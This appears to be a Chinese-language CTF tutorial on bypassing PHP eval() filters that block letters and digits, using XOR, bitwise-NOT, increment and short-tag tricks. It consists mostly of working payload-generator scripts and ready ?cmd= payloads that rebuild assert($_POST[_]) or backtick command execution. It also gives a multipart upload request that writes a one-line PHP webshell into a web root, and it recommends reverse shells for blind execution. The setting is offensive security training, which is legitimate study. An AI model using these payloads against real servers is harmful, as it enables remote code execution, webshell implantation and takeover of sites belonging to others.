# crypt单向字符串散列加密,结果随机,使末尾出现/
?code=print_r(strrev(crypt(serialize(array()))));
# 倒序,使/出现在第一个字符,因为ord()函数和chr()函数只能对第一个字符进行转码,ord()编码,chr()解码
?code=print_r(chr(ord(strrev(crypt(serialize(array()))))));
# 得到斜杠/
?code=print_r(scandir(dirname(chdir(chr(ord(strrev(crypt(serialize(array())))))))));
# 读取到根目录
?code=print_r(array_flip(scandir(dirname(chdir(chr(ord(strrev(crypt(serialize(array()))))))))));
# 交换键和值
?code=print_r(array_rand(array_flip(scandir(dirname(chdir(chr(ord(strrev(crypt(serialize(array())))))))))));
# 随机获取键
?code=show_source(array_rand(array_flip(scandir(dirname(chdir(chr(ord(strrev(crypt(serialize(array())))))))))));

由于随机性太强,使用bp爆破重复发包即可

无字母数字异或运算绕过

1
2
3
4
5
6
<?php
highlight_file(__FILE__);
error_reporting(0);
if(!preg_match('/[a-z0-9]/is',$_GET['cmd'])) {
eval($_GET['cmd']);
}

异或运算
如果a,b两个值不相同,则异或结果为1。如果a,b两个值相同,异或结果为0。
两个字符进行异或实际上是他们的ASCII码二进制进行异或运算,则我们可以使用符号进行异或运算,获取想要得到的值
例如:

1
2
3
4
5
6
7
<?php
function o(){
echo "hello hacker!!!";
}
$_ = "5"^"Z";
$_();
?>

可以成功触发函数
异或运算生成脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
<?php
header("content-type:text/html;charset=utf-8");
highlight_file(__FILE__);
error_reporting(0);
$shell = $_GET["cmd"];
$result1 = "";
$result2 = "";

function judge($c)
{
if(!preg_match('/[a-z0-9]/is',$c))
{
return true;
}
return false;
}

for($num=0;$num<=strlen($shell);$num++)
{
for($x=33;$x<=126;$x++)
{
if(judge(chr($x)))
{
for($y=33;$y<=126;$y++)
{
if(judge(chr($y)))
{
$f = chr($x)^chr($y);
if($f == $shell[$num])
{
$result1 .= chr($x);
$result2 .= chr($y);
break 2;
}
}
}
}
}
}
echo "异或运算第一部分: ".$result1;
echo "<br>";
echo "异或运算第二部分: ".$result2;
?>

通过cmd提交想要执行的命令即可
“+(+).&/“^”[@[@@@@”=phpinfo
?cmd=$_="+(+).&/"^"[@[@@@@";$_();
eval($_="+(+).&/"^"[@[@@@@";$_();)
$_=phpinfo;则$_();=phpinfo();
eval成功执行phpinfo();
但是由于+会被url识别为空格,所以提交时进行一下url编码再提交

** PHP5**

1
assert($_POST['_']);

我们可以构造

1
2
3
4
5
6
7
8
<?php
$a = 'assert';
$b = '_POST';
$c = $$b;
//$c = $_POST;
$a($c['_']);
//assert($_POST['_']);
?>

现在来考虑过滤的问题

1
2
3
由于字母被过滤,所以把abc分别替换为_,__,___,
assert替换为"!((%)("^"@[[@[\",
_POST替换为"!+/(("^"~{`{|"

得到

1
2
3
4
5
6
7
<?php
$_ = "!((%)("^"@[[@[\\";
//存在\,在构造时要在前面加个\转义
$__ = "!+/(("^"~{`{|";
$___ = $$__;
$_($___['_']);
?>

所以提交

1
?cmd=$_ = "!((%)("^"@[[@[\\";$__ = "!+/(("^"~{`{|";$___ = $$__;$_($___['_']);

并且同时POST提交_=system('ls');
PHP7

1
`$_POST[_]`;

于是构造:

1
2
3
4
5
<?php
$_ = '_POST';
$__ = $$_;
`$__[_]`;
?>

现在来替换

1
_POST替换为"!+/(("^"~{`{|"

所以payload:

1
?cmd=$_ = "!+/(("^"~{`{|";$__ = $$_;`$__[_]`;

由于反引号命令执行没有回显,所以POST提交使用反弹shell的命令

无字母数字取反绕过

1
2
3
4
5
6
<?php
highlight_file(__FILE__);
error_reporting(0);
if(!preg_match('/[a-z0-9]/is',$_GET['cmd'])) {
eval($_GET['cmd']);
}

取反运算
~(),0b0110取反得到0b1001,例如a的二进制为01100001取反得到10011110,转化为ASCII码为9E,而字母数字的ASCII码的16进制最大为7F

1
2
3
4
5
<?php
$a = "%9E";
$b = ~(urldecode($a));
echo $b;
?>

运行得到字符a
取反POC生成脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
<?php
header("Content-type:text/html;charset=utf-8");
error_reporting(0);
$shell = $_GET['cmd'];
$result = "";
$arr =array();
$word = "一乙二十丁厂七卜人入八九几儿了力乃刀又三于干亏士工土才寸下大丈与万上小口巾山千乞川亿个勺久凡及夕丸么广亡门义之尸弓己已子卫也女飞刃习叉马乡丰王井开夫天无元专云扎艺
木五支厅不太犬区历尤友匹车巨牙屯比互切瓦止少日中冈贝内水见午牛手毛气升长仁什片仆化仇币仍仅斤爪反介父从今凶分乏公仓月氏勿欠风丹匀乌凤勾文六方火为斗忆订计户认心尺引
丑巴孔队办以允予劝双书幻玉刊示末未击打巧正扑扒功扔去甘世古节本术可丙左厉右石布龙平灭轧东卡北占业旧帅归且旦目叶甲申叮电号田由史只央兄叼叫另叨叹四生失禾丘付仗代仙们
仪白仔他斥瓜乎丛令用甩印乐句匆册犯外处冬鸟务包饥主市立闪兰半汁汇头汉宁穴它讨写让礼训必议讯记永司尼民出辽奶奴加召皮边发孕圣对台矛纠母幼丝式刑动扛寺吉扣考托老执巩圾
扩扫地扬场耳共芒亚芝朽朴机权过臣再协西压厌在有百存而页匠夸夺灰达列死成夹轨邪划迈毕至此贞师尘尖劣光当早吐吓虫曲团同吊吃因吸吗屿帆岁回岂刚则肉网年朱先丢舌竹迁乔伟传
乒乓休伍伏优伐延件任伤价份华仰仿伙伪自血向似后行舟全会杀合兆企众爷伞创肌朵杂危旬旨负各名多争色壮冲冰庄庆亦刘齐交次衣产决充妄闭问闯羊并关米灯州汗污江池汤忙兴宇守宅
字安讲军许论农讽设访寻那迅尽导异孙阵阳收阶阴防奸如妇好她妈戏羽观欢买红纤级约纪驰巡寿弄麦形进戒吞远违运扶抚坛技坏扰拒找批扯址走抄坝贡攻赤折抓扮抢孝均抛投坟抗坑坊抖
护壳志扭块声把报却劫芽花芹芬苍芳严芦劳克苏杆杠杜材村杏极李杨求更束豆两丽医辰励否还歼来连步坚旱盯呈时吴助县里呆园旷围呀吨足邮男困吵串员听吩吹呜吧吼别岗帐财针钉告我
乱利秃秀私每兵估体何但伸作伯伶佣低你住位伴身皂佛近彻役返余希坐谷妥含邻岔肝肚肠龟免狂犹角删条卵岛迎饭饮系言冻状亩况床库疗应冷这序辛弃冶忘闲间闷判灶灿弟汪沙汽沃泛沟
没沈沉怀忧快完宋宏牢究穷灾良证启评补初社识诉诊词译君灵即层尿尾迟局改张忌际陆阿陈阻附妙妖妨努忍劲鸡驱纯纱纳纲驳纵纷纸纹纺驴纽奉玩环武青责现表规抹拢拔拣担坦押抽拐拖
拍者顶拆拥抵拘势抱垃拉拦拌幸招坡披拨择抬其取苦若茂苹苗英范直茄茎茅林枝杯柜析板松枪构杰述枕丧或画卧事刺枣雨卖矿码厕奔奇奋态欧垄妻轰顷转斩轮软到非叔肯齿些虎虏肾贤尚
旺具果味昆国昌畅明易昂典固忠咐呼鸣咏呢岸岩帖罗帜岭凯败贩购图钓制知垂牧物乖刮秆和季委佳侍供使例版侄侦侧凭侨佩货依的迫质欣征往爬彼径所舍金命斧爸采受乳贪念贫肤肺肢肿
胀朋股肥服胁周昏鱼兔狐忽狗备饰饱饲变京享店夜庙府底剂郊废净盲放刻育闸闹郑券卷单炒炊炕炎炉沫浅法泄河沾泪油泊沿泡注泻泳泥沸波泼泽治怖性怕怜怪学宝宗定宜审宙官空帘实试
郎诗肩房诚衬衫视话诞询该详建肃录隶居届刷屈弦承孟孤陕降限妹姑姐姓始驾参艰线练组细驶织终驻驼绍经贯奏春帮珍玻毒型挂封持项垮挎城挠政赴赵挡挺括拴拾挑指垫挣挤拼挖按挥挪
某甚革荐巷带草茧茶荒茫荡荣故胡南药标枯柄栋相查柏柳柱柿栏树要咸威歪研砖厘厚砌砍面耐耍牵残殃轻鸦皆背战点临览竖省削尝是盼眨哄显哑冒映星昨畏趴胃贵界虹虾蚁思蚂虽品咽骂
哗咱响哈咬咳哪炭峡罚贱贴骨钞钟钢钥钩卸缸拜看矩怎牲选适秒香种秋科重复竿段便俩贷顺修保促侮俭俗俘信皇泉鬼侵追俊盾待律很须叙剑逃食盆胆胜胞胖脉勉狭狮独狡狱狠贸怨急饶蚀
饺饼弯将奖哀亭亮度迹庭疮疯疫疤姿亲音帝施闻阀阁差养美姜叛送类迷前首逆总炼炸炮烂剃洁洪洒浇浊洞测洗活派洽染济洋洲浑浓津恒恢恰恼恨举觉宣室宫宪突穿窃客冠语扁袄祖神祝误
诱说诵垦退既屋昼费陡眉孩除险院娃姥姨姻娇怒架贺盈勇怠柔垒绑绒结绕骄绘给络骆绝绞统耕耗艳泰珠班素蚕顽盏匪捞栽捕振载赶起盐捎捏埋捉捆捐损都哲逝捡换挽热恐壶挨耻耽恭莲莫
荷获晋恶真框桂档桐株桥桃格校核样根索哥速逗栗配翅辱唇夏础破原套逐烈殊顾轿较顿毙致柴桌虑监紧党晒眠晓鸭晃晌晕蚊哨哭恩唤啊唉罢峰圆贼贿钱钳钻铁铃铅缺氧特牺造乘敌秤租积
秧秩称秘透笔笑笋债借值倚倾倒倘俱倡候俯倍倦健臭射躬息徒徐舰舱般航途拿爹爱颂翁脆脂胸胳脏胶脑狸狼逢留皱饿恋桨浆衰高席准座脊症病疾疼疲效离唐资凉站剖竞部旁旅畜阅羞瓶拳
粉料益兼烤烘烦烧烛烟递涛浙涝酒涉消浩海涂浴浮流润浪浸涨烫涌悟悄悔悦害宽家宵宴宾窄容宰案请朗诸读扇袜袖袍被祥课谁调冤谅谈谊剥恳展剧屑弱陵陶陷陪娱娘通能难预桑绢绣验继
球理捧堵描域掩捷排掉堆推掀授教掏掠培接控探据掘职基著勒黄萌萝菌菜萄菊萍菠营械梦梢梅检梳梯桶救副票戚爽聋袭盛雪辅辆虚雀堂常匙晨睁眯眼悬野啦晚啄距跃略蛇累唱患唯崖崭崇
圈铜铲银甜梨犁移笨笼笛符第敏做袋悠偿偶偷您售停偏假得衔盘船斜盒鸽悉欲彩领脚脖脸脱象够猜猪猎猫猛馅馆凑减毫麻痒痕廊康庸鹿盗章竟商族旋望率着盖粘粗粒断剪兽清添淋淹渠渐
混渔淘液淡深婆梁渗情惜惭悼惧惕惊惨惯寇寄宿窑密谋谎祸谜逮敢屠弹随蛋隆隐婚婶颈绩绪续骑绳维绵绸绿琴斑替款堪搭塔越趁趋超提堤博揭喜插揪搜煮援裁搁搂搅握揉斯期欺联散惹葬
葛董葡敬葱落朝辜葵棒棋植森椅椒棵棍棉棚棕惠惑逼厨厦硬确雁殖裂雄暂雅辈悲紫辉敞赏掌晴暑最量喷晶喇遇喊景践跌跑遗蛙蛛蜓喝喂喘喉幅帽赌赔黑铸铺链销锁锄锅锈锋锐短智毯鹅剩
稍程稀税筐等筑策筛筒答筋筝傲傅牌堡集焦傍储奥街惩御循艇舒番释禽腊脾腔鲁猾猴然馋装蛮就痛童阔善羡普粪尊道曾焰港湖渣湿温渴滑湾渡游滋溉愤慌惰愧愉慨割寒富窜窝窗遍裕裤裙
谢谣谦属屡强粥疏隔隙絮嫂登缎缓编骗缘瑞魂肆摄摸填搏塌鼓摆携搬摇搞塘摊蒜勤鹊蓝墓幕蓬蓄蒙蒸献禁楚想槐榆楼概赖酬感碍碑碎碰碗碌雷零雾雹输督龄鉴睛睡睬鄙愚暖盟歇暗照跨跳
跪路跟遣蛾蜂嗓置罪罩错锡锣锤锦键锯矮辞稠愁筹签简毁舅鼠催傻像躲微愈遥腰腥腹腾腿触解酱痰廉新韵意粮数煎塑慈煤煌满漠源滤滥滔溪溜滚滨粱滩慎誉塞谨福群殿辟障嫌嫁叠缝缠静
碧璃墙撇嘉摧截誓境摘摔聚蔽慕暮蔑模榴榜榨歌遭酷酿酸磁愿需弊裳颗嗽蜻蜡蝇蜘赚锹锻舞稳算箩管僚鼻魄貌膜膊膀鲜疑馒裹敲豪膏遮腐瘦辣竭端旗精歉熄熔漆漂漫滴演漏慢寨赛察蜜谱
嫩翠熊凳骡缩慧撕撒趣趟撑播撞撤增聪鞋蕉蔬横槽樱橡飘醋醉震霉瞒题暴瞎影踢踏踩踪蝶蝴嘱墨镇靠稻黎稿稼箱箭篇僵躺僻德艘膝膛熟摩颜毅糊遵潜潮懂额慰劈操燕薯薪薄颠橘整融醒餐
嘴蹄器赠默镜赞篮邀衡膨雕磨凝辨辩糖糕燃澡激懒壁避缴戴擦鞠藏霜霞瞧蹈螺穗繁辫赢糟糠燥臂翼骤鞭覆蹦镰翻鹰警攀蹲颤瓣爆疆壤耀躁嚼嚷籍魔灌蠢霸露囊罐匕刁丐歹戈夭仑讥冗邓艾
夯凸卢叭叽皿凹囚矢乍尔冯玄邦迂邢芋芍吏夷吁吕吆屹廷迄臼仲伦伊肋旭匈凫妆亥汛讳讶讹讼诀弛阱驮驯纫玖玛韧抠扼汞扳抡坎坞抑拟抒芙芜苇芥芯芭杖杉巫杈甫匣轩卤肖吱吠呕呐吟呛
吻吭邑囤吮岖牡佑佃伺囱肛肘甸狈鸠彤灸刨庇吝庐闰兑灼沐沛汰沥沦汹沧沪忱诅诈罕屁坠妓姊妒纬玫卦坷坯拓坪坤拄拧拂拙拇拗茉昔苛苫苟苞茁苔枉枢枚枫杭郁矾奈奄殴歧卓昙哎咕呵咙
呻啰咒咆咖帕账贬贮氛秉岳侠侥侣侈卑刽刹肴觅忿瓮肮肪狞庞疟疙疚卒氓炬沽沮泣泞泌沼怔怯宠宛衩祈诡帚屉弧弥陋陌函姆虱叁绅驹绊绎契贰玷玲珊拭拷拱挟垢垛拯荆茸茬荚茵茴荞荠荤
荧荔栈柑栅柠枷勃柬砂泵砚鸥轴韭虐昧盹咧昵昭盅勋哆咪哟幽钙钝钠钦钧钮毡氢秕俏俄俐侯徊衍胚胧胎狰饵峦奕咨飒闺闽籽娄烁炫洼柒涎洛恃恍恬恤宦诫诬祠诲屏屎逊陨姚娜蚤骇耘耙秦
匿埂捂捍袁捌挫挚捣捅埃耿聂荸莽莱莉莹莺梆栖桦栓桅桩贾酌砸砰砾殉逞哮唠哺剔蚌蚜畔蚣蚪蚓哩圃鸯唁哼唆峭唧峻赂赃钾铆氨秫笆俺赁倔殷耸舀豺豹颁胯胰脐脓逛卿鸵鸳馁凌凄衷郭斋
疹紊瓷羔烙浦涡涣涤涧涕涩悍悯窍诺诽袒谆祟恕娩骏琐麸琉琅措捺捶赦埠捻掐掂掖掷掸掺勘聊娶菱菲萎菩萤乾萧萨菇彬梗梧梭曹酝酗厢硅硕奢盔匾颅彪眶晤曼晦冕啡畦趾啃蛆蚯蛉蛀唬唾
啤啥啸崎逻崔崩婴赊铐铛铝铡铣铭矫秸秽笙笤偎傀躯兜衅徘徙舶舷舵敛翎脯逸凰猖祭烹庶庵痊阎阐眷焊焕鸿涯淑淌淮淆渊淫淳淤淀涮涵惦悴惋寂窒谍谐裆袱祷谒谓谚尉堕隅婉颇绰绷综绽
缀巢琳琢琼揍堰揩揽揖彭揣搀搓壹搔葫募蒋蒂韩棱椰焚椎棺榔椭粟棘酣酥硝硫颊雳翘凿棠晰鼎喳遏晾畴跋跛蛔蜒蛤鹃喻啼喧嵌赋赎赐锉锌甥掰氮氯黍筏牍粤逾腌腋腕猩猬惫敦痘痢痪竣翔
奠遂焙滞湘渤渺溃溅湃愕惶寓窖窘雇谤犀隘媒媚婿缅缆缔缕骚瑟鹉瑰搪聘斟靴靶蓖蒿蒲蓉楔椿楷榄楞楣酪碘硼碉辐辑频睹睦瞄嗜嗦暇畸跷跺蜈蜗蜕蛹嗅嗡嗤署蜀幌锚锥锨锭锰稚颓筷魁衙
腻腮腺鹏肄猿颖煞雏馍馏禀痹廓痴靖誊漓溢溯溶滓溺寞窥窟寝褂裸谬媳嫉缚缤剿赘熬赫蔫摹蔓蔗蔼熙蔚兢榛榕酵碟碴碱碳辕辖雌墅嘁踊蝉嘀幔镀舔熏箍箕箫舆僧孵瘩瘟彰粹漱漩漾慷寡寥
谭褐褪隧嫡缨撵撩撮撬擒墩撰鞍蕊蕴樊樟橄敷豌醇磕磅碾憋嘶嘲嘹蝠蝎蝌蝗蝙嘿幢镊镐稽篓膘鲤鲫褒瘪瘤瘫凛澎潭潦澳潘澈澜澄憔懊憎翩褥谴鹤憨履嬉豫缭撼擂擅蕾薛薇擎翰噩橱橙瓢蟥
霍霎辙冀踱蹂蟆螃螟噪鹦黔穆篡篷篙篱儒膳鲸瘾瘸糙燎濒憾懈窿缰壕藐檬檐檩檀礁磷了瞬瞳瞪曙蹋蟋蟀嚎赡镣魏簇儡徽爵朦臊鳄糜癌懦豁臀藕藤瞻嚣鳍癞瀑襟璧戳攒孽蘑藻鳖蹭蹬簸簿蟹
靡癣羹鬓攘蠕巍鳞糯譬霹躏髓蘸镶瓤矗";
function mb_str_split( $string ) {
return preg_split('/(?<!^)(?!$)/u', $string );
}
foreach (mb_str_split($word) as $c)
{
$arr[] = $c;
}

for ($x=0;$x<strlen($shell);$x++)
{
for ($y=0;$y<count($arr);$y++)
{
$k = $arr[$y];
if ($shell[$x] == ~($k{1}))
{
$result .= $k;
$result1 .= "%".bin2hex($k{1});
break;
}
}
}
echo "通过在URL内GET方法提交?cmd=\"具体命令\"";
echo "<br>";
echo "字符串:".$result;
echo "<br>";
echo "URL编码:".$result1;
?>

通过在URL内使用GET方法提交?cmd=”具体命令”即可。

1
2
3
4
5
6
7
8
9
assert
中文字符串:极区区皮十勺
URL编码:%9e%8c%8c%9a%8d%8b
<?php
$a = "极";
echo bin2hex($a);
//e69e81
echo ~($a{1});
//0位e6,1位9e,2位81

于是可以利用中文字符串写

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
$_++; //得到1,此时$_=1
$__ = "极";
$___ = ~($__{$_}); //得到a,此时$___="a"
$__ = "区";
$___ .= ~($__{$_}); //得到s,此时$___="as"
$___ .= ~($__{$_}); //此时$___="ass"
$__ = "皮";
$___ .= ~($__{$_}); //得到e,此时$___="asse"
$__ = "十";
$___ .= ~($__{$_}); //得到r,此时$___="asser"
$__ = "勺";
$___ .= ~($__{$_}); //得到t,此时$___="assert"
$____ = '_';
$__ = "寸";
$____ .= ~($__{$_}); //得到P,此时$____="_P"
$__ = "小";
$____ .= ~($__{$_}); //得到O,此时$____="_PO"
$__ = "欠";
$____ .= ~($__{$_}); //得到S,此时$____="_POS"
$__ = "立";
$____ .= ~($__{$_}); //得到T,此时$____="_POST"
$_ = $$____; //$_ = $_POST
$___($_[_]); //assert($_POST[_])
?>

也可以URL编码写:

1
2
3
4
5
<?php
$_=~("%9e%8c%8c%9a%8d%8b");
$__=~("%a0%af%b0%ac%ab"); //_POST取反
$___=$$__;
$_($___[_]);

payload

1
2
?cmd=$_=~("%9e%8c%8c%9a%8d%8b");$__=~("%a0%af%b0%ac%ab");$___=$$__;$_($___[_]);
并且POST提交:_=system('cat flag');

不需要再URL编码
也可以构造

1
`$_POST[_]`;

所以构造

1
2
3
4
<?php
$__ = ~("%a0%af%b0%ac%ab");
$___ = $$__;
`$___[_]`;

payload

1
?cmd=$__ = ~("%a0%af%b0%ac%ab");$___ = $$__;`$___[_]`;

同样由于反引号命令执行没有回显,所以POST提交使用反弹shell的命令

无字母数字自增绕过

1
2
3
4
5
6
<?php
highlight_file(__FILE__);
error_reporting(0);
if(!preg_match('/[a-z0-9]/is',$_GET['cmd'])) {
eval($_GET['cmd']);
}

自增

1
2
3
4
5
6
7
8
9
++
<?php
$a = A;
++$a; ++$a;
echo $a;
?>
//输出C
只要获取A,就可以自增获取BCD......
++$a先累加再输出,$a++先输出再累加

自增自减

1
2
3
4
5
6
<?php
$_=[].'';
若不拼接一个空字符串,则输出的Array并非字符串,拼接一个空字符串使其变成字符串
echo $_[0];
//读取'Array'的0号字符
?>

数字被过滤,所以使用一个不存在的变量代替,因为变量不存在,所以为假值0,
echo $_[$__];
PHP5
构造:assert($_POST['_']);

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
$_ = [].'';
$___=$_[$__];
$__=$___;
//赋值给$__为A
$_=$__;
++$_;++$_;++$_;++$_;++$_;++$_;++$_;++$_;++$_;++$_;++$_;++$_;++$_;++$_;++$_;++$_;++$_;++$_;
//获得S,此时$_为S
$__.=$_;
//获得AS,此时$__为AS
$__.=$_;
//此时$__为ASS
$_=$___;
//让$_重新赋值为A
++$_;++$_;++$_;++$_;
//获得E
$__.=$_;
//此时$__为ASSE
接下来以此类推获取到ASSERT

自增POC生成脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
<?php
highlight_file(__FILE__);
$cmd = strtoupper($_GET['cmd']);
$cmd2 = strtoupper($_GET['post']);
function POC($cmd){
$i = 0;
$POC_pat1 = "\$__=\$___;";
$POC_pat2 = "\$_ .=\$__;";
while ($i<strlen($cmd)){
$str1 = $cmd[$i];
$POC1 = base_convert(bin2hex($str1),16,10)-base_convert(bin2hex("A"),16,10);
if ($i<1) {
$POC_pat3 = str_repeat("++\$__;",$POC1);
echo $POC_pat3;
}else{
$str2 = $cmd[$i-1];
if($str1==$str2){
$POC_pat5 = $POC_pat2;
echo $POC_pat5;
}else{
$POC_pat6 = $POC_pat1.str_repeat("++\$__;",$POC1).$POC_pat2;
echo $POC_pat6;
}
}
$i++;
}
}

function POC2($cmd){
$i = 0;
echo '$____ = "_";$__=$___;';
$POC_pat1 = "\$__=\$___;";
$POC_pat2 = "\$____ .=\$__;";
while ($i<strlen($cmd)){
$str1 = $cmd[$i];
$POC1 = base_convert(bin2hex($str1),16,10)-base_convert(bin2hex("A"),16,10);
if ($i<1) {
$POC_pat3 = str_repeat("++\$__;",$POC1).$POC_pat2;
echo $POC_pat3;
}else{
$str2 = $cmd[$i-1];
if($str1==$str2){
$POC_pat5 = $POC_pat2;
echo $POC_pat5;
}else{
$POC_pat6 = $POC_pat1.str_repeat("++\$__;",$POC1).$POC_pat2;
echo $POC_pat6;
}
}
$i++;
}
}

if (!empty($cmd)){
$POC_pat7 = "\$_=[].'';\$___=\$_[\$__];\$__=\$___;\$_=\$___;";
echo $POC_pat7;
POC($cmd);
}
if (!empty($cmd2)){
POC2($cmd2);
}

得到生成的payload为

1
2
3
4
<?php
$_=[].'';$___=$_[$__];$__=$___;$_=$___;$__=$___;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;$_ .=$__;$_ .=$__;$__=$___;++$__;++$__;++$__;++$__;$_ .=$__;$__=$___;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;$_ .=$__;$__=$___;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;$_ .=$__;
echo $_;
?>

到那时还需要一个POST,那么输入?cmd=assert&post=POST,用得到的结果构造

1
2
3
4
5
<?php
$_=[].'';$___=$_[$__];$__=$___;$_=$___;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;$_ .=$__;$_ .=$__;$__=$___;++$__;++$__;++$__;++$__;$_ .=$__;$__=$___;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;$_ .=$__;$__=$___;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;$_ .=$__;$____ = "_";$__=$___;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;$____ .=$__;$__=$___;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;$____ .=$__;$__=$___;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;$____ .=$__;$__=$___;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;$____ .=$__;
$__ = $$____; //$_POST
$_($__[_]); //assert($_POST[_])
?>

构造payload时记得url编码,并同时POST提交_='提交命令'
php7
php7只需获取一个POST即可,

1
2
3
4
5
<?php
$____ = "_";$__=$___;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;$____ .=$__;$__=$___;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;$____ .=$__;$__=$___;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;$____ .=$__;$__=$___;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;$____ .=$__;
$_=$$____;
`$_[_]`;
?>

同样由于反引号没有回显,使用反弹shell即可

无字母数字特殊符号过滤

1
2
3
4
5
6
<?php
highlight_file(__FILE__);
error_reporting(0);
if(!preg_match('/[a-z0-9_$]/is',$_GET['cmd'])) {
eval($_GET['cmd']);
}

多过滤了$_
PHP7
短标签:

1
2
3
4
5
6
<?php
phpinfo();
?>
等同于
<?= phpinfo();?>
可直接执行

用GET方式提交

1
2
?><?= `{${~"%a0%b8%ba%ab"}[%a0]}`?>
//取反等同于?><?= `$_GET[%a0]?>`

构造payload

1
?cmd=?><?=`{${~"%a0%b8%ba%ab"}[%a0]}`?>&%a0=ls

但是_$都被过滤了,显然还不能成功,在PHP7中我们可以使用($a)()一样调用函数
例如:
call_user_func()就等同于(call_user_func)(),所以我们利用取反运算可以得到
(call_user_func)(system,whoami,'');等同于(~%9c%9e%93%93%a0%8a%8c%9a%8d%a0%99%8a%91%9c)(~%8c%86%8c%8b%9a%92,~%88%97%90%9e%92%96,'');
PHP5
文件读取:
PHP中POST上传文件会把我们上传的文件暂时存在/tmp目录下,
默认文件名是phpXXXXXX,文件名最后6个字符是随机的大小写字母。
使用通配符?:./???/?????????可以匹配到./tmp/phpXXXXXX,不过能匹配到的东西太多,通常会报错
所以将最后一个?改为[@-[],[@-[]表示ASCII在@[之间的字符,也就是大写字母,保障最后一位是大写字母
步骤一:先构造一个文件上传的POST数据包;
步骤二:PHP页面生成临时文件phpXXXXXX,存储在/tmp目录下;
步骤三:执行指令./???/????????[@-[],读取文件,执行其中指令;
步骤四:在上传的文件中写入一句话木马,把木马生成位置指定一个绝对路径,直接执行。
此为上传的数据包

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
POST /php_cmd/php80/class11/3.php?cmd=?%3E%3C?=`.+/%3f%3f%3f/%3f%3f%3f%3f%3f%3f%3f%3f[%40-[]`%3b?%3E HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: multipart/form-data;boundary=--------123
Accept-Encoding: gzip, deflate
Connection:close
Upgrade-Insecure-Requests: 1
Content-Length: 144
//此处有一行空行
--------123
Content-Disposition:form-data;name="file";filename="1.txt"
//此处也有一行空行
echo "<?php eval(\$_POST['shell']);" > /www/admin/localhost_80/wwwroot/class11/success.php
--------123

创建成功后使用蚁剑连接即可
使用一句话木马需要知道绝对路径,可以使用反弹shell

1
2
3
4
5
6
7
无字母数字过滤;~^`&|  
<?php
highlight_file(__FILE__);
error_reporting(0);
if(!preg_match('/[a-z0-9;~^`&|]/is',$_GET['cmd'])) {
eval($_GET['cmd']);
}

~,^都被过滤,可以使用自增法构造,;被过滤,可以使用短标签法代替